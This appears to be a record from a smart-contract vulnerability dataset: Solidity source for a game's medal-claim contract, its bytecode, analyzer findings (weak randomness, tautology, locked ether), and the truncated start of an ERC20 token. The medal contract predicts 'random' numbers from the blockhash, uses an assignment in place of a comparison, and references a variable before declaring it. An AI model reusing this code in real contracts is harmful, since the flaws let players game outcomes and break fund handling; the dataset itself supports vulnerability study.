uint z = x - y;
return z;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
}
contract Enums {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_OWNER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum AngelAura {
Blue,
Yellow,
Purple,
Orange,
Red,
Green
}
}
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract IAngelCardData is AccessControl, Enums {
uint8 public totalAngelCardSeries;
uint64 public totalAngels;
// write
// angels
function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8);
function updateAngelCardSeries(uint8 _angelCardSeriesId, uint64 _newPrice, uint64 _newMaxTotal) onlyCREATOR external;
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64);
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external;
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external;
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external;
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external;
function addAngelIdMapping(address _owner, uint64 _angelId) private;
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode);
function ownerAngelTransfer (address _to, uint64 _angelId) public;
function updateAngelLock (uint64 _angelId, bool newValue) public;
function removeCreator() onlyCREATOR external;
// read
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime);
function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner);
function getOwnerAngelCount(address _owner) constant public returns(uint);
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64);
function getTotalAngelCardSeries() constant public returns (uint8);
function getTotalAngels() constant public returns (uint64);
function getAngelLockStatus(uint64 _angelId) constant public returns (bool);
}
contract ISponsoredLeaderboardData is AccessControl {
uint16 public totalLeaderboards;
//The reserved balance is the total balance outstanding on all open leaderboards.
//We keep track of this figure to prevent the developers from pulling out money currently pledged
uint public contractReservedBalance;
function setMinMaxDays(uint8 _minDays, uint8 _maxDays) external ;
function openLeaderboard(uint8 numDays, string message) external payable ;
function closeLeaderboard(uint16 leaderboardId) onlySERAPHIM external;
function setMedalsClaimed(uint16 leaderboardId) onlySERAPHIM external ;
function withdrawEther() onlyCREATOR external;
function getTeamFromLeaderboard(uint16 leaderboardId, uint8 rank) public constant returns (uint64 angelId, uint64 petId, uint64 accessoryId) ;
function getLeaderboard(uint16 id) public constant returns (uint startTime, uint endTime, bool isLive, address sponsor, uint prize, uint8 numTeams, string message, bool medalsClaimed);
function newTeamOnEnd(uint16 leaderboardId, uint64 angelId, uint64 petId, uint64 accessoryId) onlySERAPHIM external;
function switchRankings (uint16 leaderboardId, uint8 spot,uint64 angel1ID, uint64 pet1ID, uint64 accessory1ID,uint64 angel2ID,uint64 pet2ID,uint64 accessory2ID) onlySERAPHIM external;
function verifyPosition(uint16 leaderboardId, uint8 spot, uint64 angelID) external constant returns (bool);
function angelOnLeaderboards(uint64 angelID) external constant returns (bool);
function petOnLeaderboards(uint64 petID) external constant returns (bool);
function accessoryOnLeaderboards(uint64 accessoryID) external constant returns (bool) ;
function safeMult(uint x, uint y) pure internal returns(uint) ;
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) ;
function getTotalLeaderboards() public constant returns (uint16);
}
contract IMedalData is AccessControl {
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function totalSupply() public view returns (uint256);
function setMaxTokenNumbers() onlyCREATOR external;
function balanceOf(address _owner) public view returns (uint256);
function tokensOf(address _owner) public view returns (uint256[]) ;
function ownerOf(uint256 _tokenId) public view returns (address);
function approvedFor(uint256 _tokenId) public view returns (address) ;
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId);
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId);
function takeOwnership(uint256 _tokenId) public;
function _createMedal(address _to, uint8 _seriesID) onlySERAPHIM public ;
function getCurrentTokensByType(uint32 _seriesID) public constant returns (uint32);
function getMedalType (uint256 _tokenId) public constant returns (uint8);
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) external;
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) ;
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal;
function clearApproval(address _owner, uint256 _tokenId) private;
function addToken(address _to, uint256 _tokenId) private ;
function removeToken(address _from, uint256 _tokenId) private;
}
//INSTURCTIONS: You can access this contract through our webUI at angelbattles.com (preferred)
//You can also access this contract directly by sending a transaction the the leaderboardId you wish to claim medals for
//Variable names are self explanatory, but contact us if you have any questions.
contract ClaimSponsoredMedals is AccessControl, SafeMath {
// Addresses for other contracts MedalClaim interacts with.
address public angelCardDataContract = 0x6D2E76213615925c5fc436565B5ee788Ee0E86DC;
address public medalDataContract = 0x33A104dCBEd81961701900c06fD14587C908EAa3;
address public sponsoredLeaderboardDataContract = 0xAbe64ec568AeB065D0445B9D76F511A7B5eA2d7f;
// events
event EventMedalSuccessful(address owner,uint64 Medal);
// write functions
function DataContacts(address _angelCardDataContract, address _medalDataContract, address _sponsoredLeaderboardDataContract) onlyCREATOR external {
angelCardDataContract = _angelCardDataContract;
medalDataContract = _medalDataContract;
sponsoredLeaderboardDataContract = _sponsoredLeaderboardDataContract;
}
function claimMedals (uint16 leaderboardId) public {
//Function can be called by anyone, as long as the medals haven't already been claimed, the leaderboard is closed, and it's past the end time.
ISponsoredLeaderboardData sponsoredLeaderboardData = ISponsoredLeaderboardData(sponsoredLeaderboardDataContract);
if ((leaderboardId < 0 ) || (leaderboardId > sponsoredLeaderboardData.getTotalLeaderboards())) {revert();}
uint endTime;
bool isLive;
bool medalsClaimed;
uint prize;
(,endTime,isLive,,prize,,,medalsClaimed) = sponsoredLeaderboardData.getLeaderboard(leaderboardId);
if (isLive == true) {revert();}
if (now < endTime) {revert();}
if (medalsClaimed = true) {revert();}
sponsoredLeaderboardData.setMedalsClaimed(leaderboardId);
address owner1;
address owner2;
address owner3;
address owner4;
uint64 angel;
(angel,,) = sponsoredLeaderboardData.getTeamFromLeaderboard(leaderboardId, 0);
(,,,,,,,,,,owner1) = angelCardData.getAngel(angel);
(angel,,) = sponsoredLeaderboardData.getTeamFromLeaderboard(leaderboardId, 1);
(,,,,,,,,,,owner2) = angelCardData.getAngel(angel);
(angel,,) = sponsoredLeaderboardData.getTeamFromLeaderboard(leaderboardId, 2);
(,,,,,,,,,,owner3) = angelCardData.getAngel(angel);
(angel,,) = sponsoredLeaderboardData.getTeamFromLeaderboard(leaderboardId, 3);
(,,,,,,,,,,owner4) = angelCardData.getAngel(angel);
IAngelCardData angelCardData = IAngelCardData(angelCardDataContract);
IMedalData medalData = IMedalData(medalDataContract);
if (prize == 10000000000000000) {
medalData._createMedal(owner1, 2);
medalData._createMedal(owner2, 1);
medalData._createMedal(owner3,0);
medalData._createMedal(owner4,0);
return;
}
if ((prize > 10000000000000000) && (prize <= 50000000000000000)) {
medalData._createMedal(owner1, 5);
medalData._createMedal(owner2, 4);
medalData._createMedal(owner3,3);
medalData._createMedal(owner4,3);
return;
}
if ((prize > 50000000000000000) && (prize <= 100000000000000000)) {
medalData._createMedal(owner1, 6);
medalData._createMedal(owner2, 5);
medalData._createMedal(owner3,4);
medalData._createMedal(owner4,4);
return;
}
if ((prize > 100000000000000000) && (prize <= 250000000000000000)) {
medalData._createMedal(owner1, 9);
medalData._createMedal(owner2, 6);
medalData._createMedal(owner3,5);
medalData._createMedal(owner4,5);
return;
}
if ((prize > 250000000000000000 ) && (prize <= 500000000000000000)) {
medalData._createMedal(owner1,10);
medalData._createMedal(owner2, 9);
medalData._createMedal(owner3,6);
medalData._createMedal(owner4,6);
}
if (prize > 500000000000000000) {
medalData._createMedal(owner1, 11);
medalData._createMedal(owner2, 10);
medalData._createMedal(owner3,9);
medalData._createMedal(owner4,9);
}
}
}
|
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301eca37c146100ca5780630bca59031461011f5780632ef0a28d1461014657806345e261051461019757806362161235146101bc5780636b6cc239146102285780637123691e1461025557806371f5584f1461028e57806387a675ca146102e3578063bbc878c41461035a578063d356a28b1461038b578063e2985596146103c4578063e927fc5c14610419575b600080fd5b34156100d557600080fd5b6100dd61046e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012a57600080fd5b610144600480803561ffff16906020019091905050610494565b005b341561015157600080fd5b61017d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612128565b604051808215151515815260200191505060405180910390f35b34156101a257600080fd5b6101ba60048080351515906020019091905050612148565b005b34156101c757600080fd5b61020c600480803561ffff1690602001909190803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121c0565b604051808260ff1660ff16815260200191505060405180910390f35b341561023357600080fd5b61023b61220d565b604051808215151515815260200191505060405180910390f35b341561026057600080fd5b61028c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612220565b005b341561029957600080fd5b6102a1612361565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102ee57600080fd5b610358600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612387565b005b341561036557600080fd5b61036d6124aa565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561039657600080fd5b6103c2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124be565b005b34156103cf57600080fd5b6103d76125fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042457600080fd5b61042c612624565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600080600080600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169b5060008d61ffff16108061056b57508b73ffffffffffffffffffffffffffffffffffffffff1663ff29c1046000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561054557600080fd5b6102c65a03f1151561055657600080fd5b5050506040518051905061ffff168d61ffff16115b1561057557600080fd5b8b73ffffffffffffffffffffffffffffffffffffffff16635007364f8e600060405161010001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808261ffff1661ffff16815260200191505061010060405180830381600087803b15156105f657600080fd5b6102c65a03f1151561060757600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519050909192939495965090919293509091509050809c50819b50829d50839e5050505050600115158a1515141561066f57600080fd5b8a42101561067c57600080fd5b60019850881561068b57600080fd5b8b73ffffffffffffffffffffffffffffffffffffffff1663a946d7bb8e6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808261ffff1661ffff168152602001915050600060405180830381600087803b151561070157600080fd5b6102c65a03f1151561071257600080fd5b5050508b73ffffffffffffffffffffffffffffffffffffffff1663fd7903a08e600080604051606001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff16815260200192505050606060405180830381600087803b151561079f57600080fd5b6102c65a03f115156107b057600080fd5b50505060405180519060200180519060200180519050905050809350508173ffffffffffffffffffffffffffffffffffffffff16639d06935384600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b151561085a57600080fd5b6102c65a03f1151561086b57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190509091929394959697989950909192939495969798509091929394959697509091929394959650909192939495509091929394509091929350909192509091509050809750508b73ffffffffffffffffffffffffffffffffffffffff1663fd7903a08e60016000604051606001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff16815260200192505050606060405180830381600087803b151561098157600080fd5b6102c65a03f1151561099257600080fd5b50505060405180519060200180519060200180519050905050809350508173ffffffffffffffffffffffffffffffffffffffff16639d06935384600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b1515610a3c57600080fd5b6102c65a03f11515610a4d57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190509091929394959697989950909192939495969798509091929394959697509091929394959650909192939495509091929394509091929350909192509091509050809650508b73ffffffffffffffffffffffffffffffffffffffff1663fd7903a08e60026000604051606001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff16815260200192505050606060405180830381600087803b1515610b6357600080fd5b6102c65a03f11515610b7457600080fd5b50505060405180519060200180519060200180519050905050809350508173ffffffffffffffffffffffffffffffffffffffff16639d06935384600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b1515610c1e57600080fd5b6102c65a03f11515610c2f57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190602001805190509091929394959697989950909192939495969798509091929394959697509091929394959650909192939495509091929394509091929350909192509091509050809550508b73ffffffffffffffffffffffffffffffffffffffff1663fd7903a08e60036000604051606001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808361ffff1661ffff1681526020018260ff16815260200192505050606060405180830381600087803b1515610d4557600080fd5b6102c65a03f11515610d5657600080fd5b50505060405180519060200180519060200180519050905050809350508173ffffffffffffffffffffffffffffffffffffffff16639d06935384600060405161016001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505061016060405180830381600087803b1515610e0057600080fd5b6102c65a03f11515610e1157600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519060200180519050909192939495969798995090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080945050600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050662386f26fc100008814156111e2578073ffffffffffffffffffffffffffffffffffffffff166392cfd4618860026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515610f9b57600080fd5b6102c65a03f11515610fac57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618760016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561105557600080fd5b6102c65a03f1151561106657600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618660006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561110f57600080fd5b6102c65a03f1151561112057600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618560006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b15156111c957600080fd5b6102c65a03f115156111da57600080fd5b505050612119565b662386f26fc10000881180156111ff575066b1a2bc2ec500008811155b156114f1578073ffffffffffffffffffffffffffffffffffffffff166392cfd4618860056040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b15156112aa57600080fd5b6102c65a03f115156112bb57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618760046040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561136457600080fd5b6102c65a03f1151561137557600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618660036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561141e57600080fd5b6102c65a03f1151561142f57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618560036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b15156114d857600080fd5b6102c65a03f115156114e957600080fd5b505050612119565b66b1a2bc2ec500008811801561150f575067016345785d8a00008811155b15611801578073ffffffffffffffffffffffffffffffffffffffff166392cfd4618860066040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b15156115ba57600080fd5b6102c65a03f115156115cb57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618760056040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561167457600080fd5b6102c65a03f1151561168557600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618660046040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561172e57600080fd5b6102c65a03f1151561173f57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618560046040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b15156117e857600080fd5b6102c65a03f115156117f957600080fd5b505050612119565b67016345785d8a00008811801561182057506703782dace9d900008811155b15611b12578073ffffffffffffffffffffffffffffffffffffffff166392cfd4618860096040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b15156118cb57600080fd5b6102c65a03f115156118dc57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618760066040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561198557600080fd5b6102c65a03f1151561199657600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618660056040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611a3f57600080fd5b6102c65a03f11515611a5057600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618560056040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611af957600080fd5b6102c65a03f11515611b0a57600080fd5b505050612119565b6703782dace9d9000088118015611b3157506706f05b59d3b200008811155b15611e1f578073ffffffffffffffffffffffffffffffffffffffff166392cfd46188600a6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611bdc57600080fd5b6102c65a03f11515611bed57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618760096040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611c9657600080fd5b6102c65a03f11515611ca757600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618660066040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611d5057600080fd5b6102c65a03f11515611d6157600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618560066040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611e0a57600080fd5b6102c65a03f11515611e1b57600080fd5b5050505b6706f05b59d3b20000881115612118578073ffffffffffffffffffffffffffffffffffffffff166392cfd46188600b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611ed557600080fd5b6102c65a03f11515611ee657600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd46187600a6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b1515611f8f57600080fd5b6102c65a03f11515611fa057600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618660096040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561204957600080fd5b6102c65a03f1151561205a57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166392cfd4618560096040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260ff16815260200192505050600060405180830381600087803b151561210357600080fd5b6102c65a03f1151561211457600080fd5b5050505b5b50505050505050505050505050565b60016020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121a357600080fd5b80600260006101000a81548160ff02191690831515021790555050565b6000808273ffffffffffffffffffffffffffffffffffffffff166001430340600190040190508360ff1660018560ff1687030161ffff168281151561220157fe5b06019150509392505050565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561227b57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561235e576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123e257600080fd5b82600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600060149054906101000a900461ffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251957600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125fb5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058208146a17dd03909b50aff9981b9c9050ebb7119e66e57b2284c83f7393e8494690029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,114 |
0xe69f6b99d389abe5a73f87b5e22afbab70b2f107
|
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
